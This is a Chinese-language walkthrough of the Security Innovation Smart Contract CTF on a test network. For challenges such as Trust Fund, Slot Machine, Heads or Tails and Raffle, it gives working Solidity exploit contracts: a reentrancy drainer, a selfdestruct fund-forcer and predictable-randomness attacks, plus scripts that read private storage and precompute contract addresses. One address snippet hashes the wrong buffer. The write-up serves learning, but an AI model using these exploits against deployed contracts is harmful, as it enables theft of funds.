【Writeup】Security Innovation Smart Contract CTF
賽題地址:https://blockchain-ctf.securityinnovation.com/#/dashboard
Donation
源碼解析
我們只需要用外部賬戶調用 withdrawDonationsFromTheSuckersWhoFellForIt() 把錢取出來,就算是挑戰成功啦。本題難就難在怎么用外部賬戶調用合約函數。。。
解題
點一下 Hints 他就會提醒你用 MyCrypto 來完成這個挑戰。我用了,太香了。完美解決了用外部賬戶調用合約函數的問題。
只需要進入界面 —> TOOLS —> Interact with Contracts —> 然后按照要求把內容填好 —> 選擇所調用的函數 —> 成功!
Lock Box
源碼分析
now參數在0.7.0以后被替換為timestamp它的返回值等于:https://www.unixtimestamp.com/pin是private的pin,就是不公開的意思。- 目的就是要你猜出
pin的值。啊當然,猜是不可能猜的,這輩子也不可能猜的。
解題
接下來的內容,了解solidity中變量存儲位置的讀者可以“顯然”地知道 pin 值在合約中存儲的位置。不了解的讀者也不要緊,我們可以進行一步推導得出他的存儲位置。
將合約內容反編譯:https://ethervm.io/decompile/ropsten/0xa9944deee7d75b7b945bc12b3dd19f016ce1b566
首先找到函數 function unlock(var arg0) ,然后在函數中找到這個判斷:
if (storage[0x01] == arg0) {
var temp1 = address(address(this)).balance;
var temp2 = memory[0x40:0x60];
var temp3;
temp3, memory[temp2:temp2 + 0x00] = address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp2:temp2 + memory[0x40:0x60] - temp2]);
var var0 = !temp3;
if (!var0) { return; }
var temp4 = returndata.length;
memory[0x00:0x00 + temp4] = returndata[0x00:0x00 + temp4];
revert(memory[0x00:0x00 + returndata.length]);
}
為什么是這個 if 判斷呢,因為在這個判斷里面有轉賬語句 address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)() 。
然后我們看出我們輸入的值是和 storage[0x01] 進行比較的,也就是說 pin 值就存放在 storage[0x01] 中。所以,我們可以利用 Web3.js 獲取這個位置的值。
Web3.js 代碼:
var Web3 = require('web3');
// 創建web3對象
var web3 = new Web3();
// 連接到 ropsten 測試節點
web3.setProvider(new Web3.providers.HttpProvider("https://ropsten.infura.io/v3/xxx"))
web3.eth.getStorageAt("0xa9944deee7d75b7b945bc12b3dd19f016ce1b566", 1).then(console.log)
// return:
// 0x00000000000000000000000000000000000000000000000000000000000007b2
// 轉為十進制等于1970
在 HttpProvider 中填入你自己的 infura 鏈接即可。
最后,我們把得到的 1970 填入到題目中,完成解題。
Piggy Bank
解題
直接調用 CharliesPiggyBank 中的 collectFunds 函數進行取款就完成挑戰了。。。
可能關鍵點就在于 CharliesPiggyBank 中的 collectFunds 少繼承了 modifier onlyOwner() ,看看是否發現了這個漏洞。。。吧?
SI Token Sale
源碼分析
- 雖然他調用了
SafeMath模塊,但是他沒有用。誒有模塊我不用,就是玩兒。 10 szabo的交易費用(1 ether == 10^6 szabo)- 結合以上兩點,在
balances[msg.sender] += _value - feeAmount;這里很可能會發生下溢出漏洞
解題
- 往合約打
10 wei(只要小于10 szabo即可),使其發生下溢出,這樣我們的balances就會變得非常大,方便后面為所欲為。 - 然后調用
refundTokens(uint256 _value)函數,_value的值為合約余額的兩倍(這里留意一下,在題目網頁上顯示的余額有那么一丟丟不準確,建議去etherscan上面查一下準確的余額) - 過關~
Secure Bank
源碼分析
- 三個合約,一層套一層,SimpleBank —> MembersBank —> SecureBank
- SimpleBank withdraw:要求取款不能超過賬戶余額
- MembersBank withdraw:要求取款不能超過賬戶余額,取款賬戶是
member - SecureBank withdraw:要求取款不能超過賬戶余額,取款賬戶是
member,取款賬戶是自己
解題
我們要做的就是把創建合約的賬戶余額給取走。
雖然 SecureBank withdraw 是繼承 MembersBank withdraw 的,但是因為的參數格式不一致(前者是uint8 _value,后者是uint256 _value),導致了 SecureBank 中會出現兩個可以調用的 withdraw 函數。(這可以從 ABI 中看出,有兩個 withdraw 函數。)
也就是說,可以在 SecureBank 合約中,調用 MembersBank withdraw 函數進行取款。
- 調用 register 函數,對創建合約的賬戶地址進行注冊,使其成為 member
- 調用 MembersBank withdraw ,將創建合約的賬戶中的余額轉走
- 成功
Lottery
一個猜數字的游戲,涉及到了區塊號和發送者地址等
解題
-
blockhash函數,很有講究,當輸入的區塊號為當前區塊號或256個以前的區塊號,它都返回0。也就是說blockhash(block.number) == 0 -
^是異或操作 -
也就是說,當我們要求
guess==target的時候,只是在要求_seed == abi.encodePacked(msg.sender) -
通過下面的函數即可得到剛剛好的
_seedfunction encode(address _addr) public returns(bytes32) { return keccak256(abi.encodePacked(_addr)); }
Trust Fund
看!好大個msg.sender.call.value(allowancePerYear)() !!它用 call 來轉賬!! 它用 call 來轉賬!! 重入漏洞干他!
解題
重入漏洞就不多解釋了,原理搜一下即可,直接上攻擊代碼:
pragma solidity 0.4.24;
contract attack{
address public aimAddr;
function reen(address _addr) public {
aimAddr = _addr;
_addr.call(bytes4(keccak256("withdraw()")));
}
function () public payable{
aimAddr.call(bytes4(keccak256("withdraw()")));
}
}
反復調用目標合約,將里面的錢全部提取出來。
注意:gas limit 要稍微設置的大一點點,不然會調用失敗:out of gas。
Record Label
源碼分析
- 代碼很繁瑣,整體來說就是取款的時候要按百分比分一部分給 Manager 合約
- 調用 withdrawFundsAndPayRoyalties 函數進行取款,取款流程跟蹤函數看一下,還挺繞。。
關鍵點:
- addRoyaltyReceiver 函數中沒有對添加的地址進行檢測,可以添加已有的用戶
- payoutRoyalties 函數中只對每一個 reciver 中的比例進行扣款,沒有檢查總的 percentRemaining
解題
查看 RecordLabel 合約的創建交易,它同時創建了另外兩個合約(Manager 和 Royalties)

Royalties 合約的地址我們可以查到

所以可知 Manager 合約的地址為:0xfDE1eeBF0d2AE27236bDdd802Efbcb9FE2AECE12
Royalties:0xAea30FFF488903783d90af7C5396aCAFd9879885
Royalties 的 ABI 如下:
[
{
"constant": true,
"inputs": [],
"name": "amountPaid",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "payoutRoyalties",
"outputs": [],
"payable": true,
"stateMutability": "payable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_receiver",
"type": "address"
},
{
"name": "_percent",
"type": "uint256"
}
],
"name": "addRoyaltyReceiver",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "getLastPayoutAmountAndReset",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"name": "_manager",
"type": "address"
},
{
"name": "_artist",
"type": "address"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"payable": true,
"stateMutability": "payable",
"type": "fallback"
}
]
將 Royalties 合約中 (reciver == Manager) 的分錢比例設為 0

然后調用 withdrawFundsAndPayRoyalties 函數取走 1000000000000000000 wei (1 eth)即可
Slot Machine
代碼分析
有一種轉賬方法可以在不觸發 fallback 函數的情況下完成轉賬:合約自毀。
pragma solidity 0.4.24;
contract selfdes{
function destruct(address _aim) public{
selfdestruct(_aim);
}
function () payable public{
}
}
解題
- 先轉入
3.5 eth到自毀合約中,執行自毀函數向目標合約進行轉賬(繞開了其fallback函數)。此時目標合約中的余額已經大于5 eth,也就是滿足address(this).balance >= winner這一條件。 - 再使用自己的賬戶往目標賬戶中轉入
1 szabo,完成攻擊。
Heads or Tails
代碼分析
關鍵點就在 entropy 和 coinFlip 兩個變量上,而這兩個變量都是我們可以獲取到具體值的。根據題目 msg.sender.transfer(msg.value.mul(3).div(2)); 這行代碼,我們轉賬 20 次即可把余額取完。
解題
不多bibi,直接上代碼:
pragma solidity 0.4.24;
contract getHeads{
bytes32 public entropy;
bytes1 public coinFlip;
bool public coinBool;
function caller(address _aim) public {
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
if(coinFlip == 1){
coinBool = true;
}
else{
coinBool = false;
}
for(uint i = 0; i < 20; i++){
_aim.call.value(0.1 ether)(bytes4(keccak256("play(bool)")), coinBool);
}
}
function getback() public{
msg.sender.send(this.balance);
}
function () payable public{
}
}
- 首先把該合約加入到名單中。
- 然后在運行
caller函數之前,往合約轉0.1 ether,并且gas limit設置得稍微大一點點即可。 - 完成挑戰后記得把錢取走!
Rainy Day Fund
源碼分析
看到這道題的時候閃過了一下提前轉賬的想法,但是一想應該不能重置了再來這么蛇皮吧就打消了這個念頭。沒想到就是這樣做的。
解題
我們需要提前計算出 DebugAuthorizer 合約的地址(可以做到),然后提前轉賬 1.337 ether,當這個地址被部署上合約的時候就滿足條件 (address(this).balance == 1.337 ether) 。然后就可以調用 withdraw 函數把錢取走了。
首先,新的外部賬戶nonce從0開始,新的合約賬戶nonce則是從1開始。
查看合約調用鏈,我們可以得知 DebugAuthorizer 合約由 RainyDayFund 合約進行創建。而 RainyDayFund 合約則由developer = 0xeD0D5160c642492b3B482e006F67679F5b6223A2 創建。
我們知道 developer 的地址,還需要知道它創建 RainyDayFund 合約的 nonce ,這樣才能計算出它下一次創建的合約地址。
var util = require('ethereumjs-util');
// 根據發送者地址和nonce求取生成的新合約的地址
// 先RLP編碼,再Hash,截取Hash值的后20個字節
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";
for(var i = 1; i <= 10000000; i++){
buf = [Buffer.from(developer , "hex"), i];
// RainyDayFund.address == 30e93a...
if(util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40) == "30e93ac1d17a55571a0b38ee32de7fcce5c899a1"){
console.log(i);
break;
}
}
// result: i = 359
計算得出 developer 創建 RainyDayFund 合約的 nonce = 359 ,那么我們下一次創建的時候 nonce 就等于 360。而 RainyDayFund 合約在 nonce = 1 時創建了 DebugAuthorizer 合約。
然后就可以通過下面的代碼計算出下一次部署的 DebugAuthorizer 的地址:
var util = require('ethereumjs-util');
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";
var nonce = 360;
var buf = [Buffer.from(developer, "hex"), nonce];
var RainyDayFund = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40);
var nonce2 = 1;
var buf2 = [Buffer.from(RainyDayFund , "hex"), nonce2];
var DebugAuthorizer = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40);
/*
計算下一次重構所生成的合約地址:
RainyDayFund:
[eD0D5160c642492b3B482e006F67679F5b6223A2, 360] = 1aa67125c77d915e858c446510e14934bcac52a1
DebugAuthorizer:
[1aa67125c77d915e858c446510e14934bcac52a1, 1] = f8bc584d576f04c303d0504966c07c02a61f3529
*/
然后往計算得出的 DebugAuthorizer 地址中轉入 1.337 ether ,再 (Reset challenge contract for 2.5 ETH) ,即可直接調用 withdraw 函數將錢取走!
【吐槽:這道題真的很費幣。。做到一半幣不夠了,水龍頭也壞了,還得向大佬要了點幣才解得了。。】
Raffle
解題
利用 blockhash 函數只能計算最近 256 個區塊的哈希值,超過 256 個的區塊哈希值為 0 這個特點。
合約1:0xA6E29a673ed3CB2D196F710f843b8b07aB341B37
負責買票,關閉抽獎
pragma solidity ^0.4.0;
contract Raffle{
function buyTicket(address _aim) public{
_aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
}
function closeRaffle(address _aim) public{
_aim.call(bytes4(keccak256("closeRaffle()")));
}
function withdraw() public{
msg.sender.send(this.balance);
}
function () payable public{}
}
合約2:0xACBaD8a016C46C5A9bBA6B8665Da96e12B3F828C
負責買票,領獎
pragma solidity ^0.4.0;
contract Raffle2{
function buyTicket(address _aim) public{
_aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
}
function collectReward(address _aim) public{
_aim.call(bytes4(keccak256("collectReward()")));
}
function withdraw() public{
msg.sender.send(this.balance);
}
function () payable public{}
}
買完票以后的當前區塊數:10853164,只需要耐心等待,直到區塊數超過 10853164 + 256 ,再利用合約1關閉抽獎,最后利用合約2領獎。
后記
從其他博客中看到了一個關鍵點:
觸發 fallback 函數后,若 fallback 函數中又調用了自身函數,那么此時,msg.sender 變成了自身

浙公網安備 33010602011771號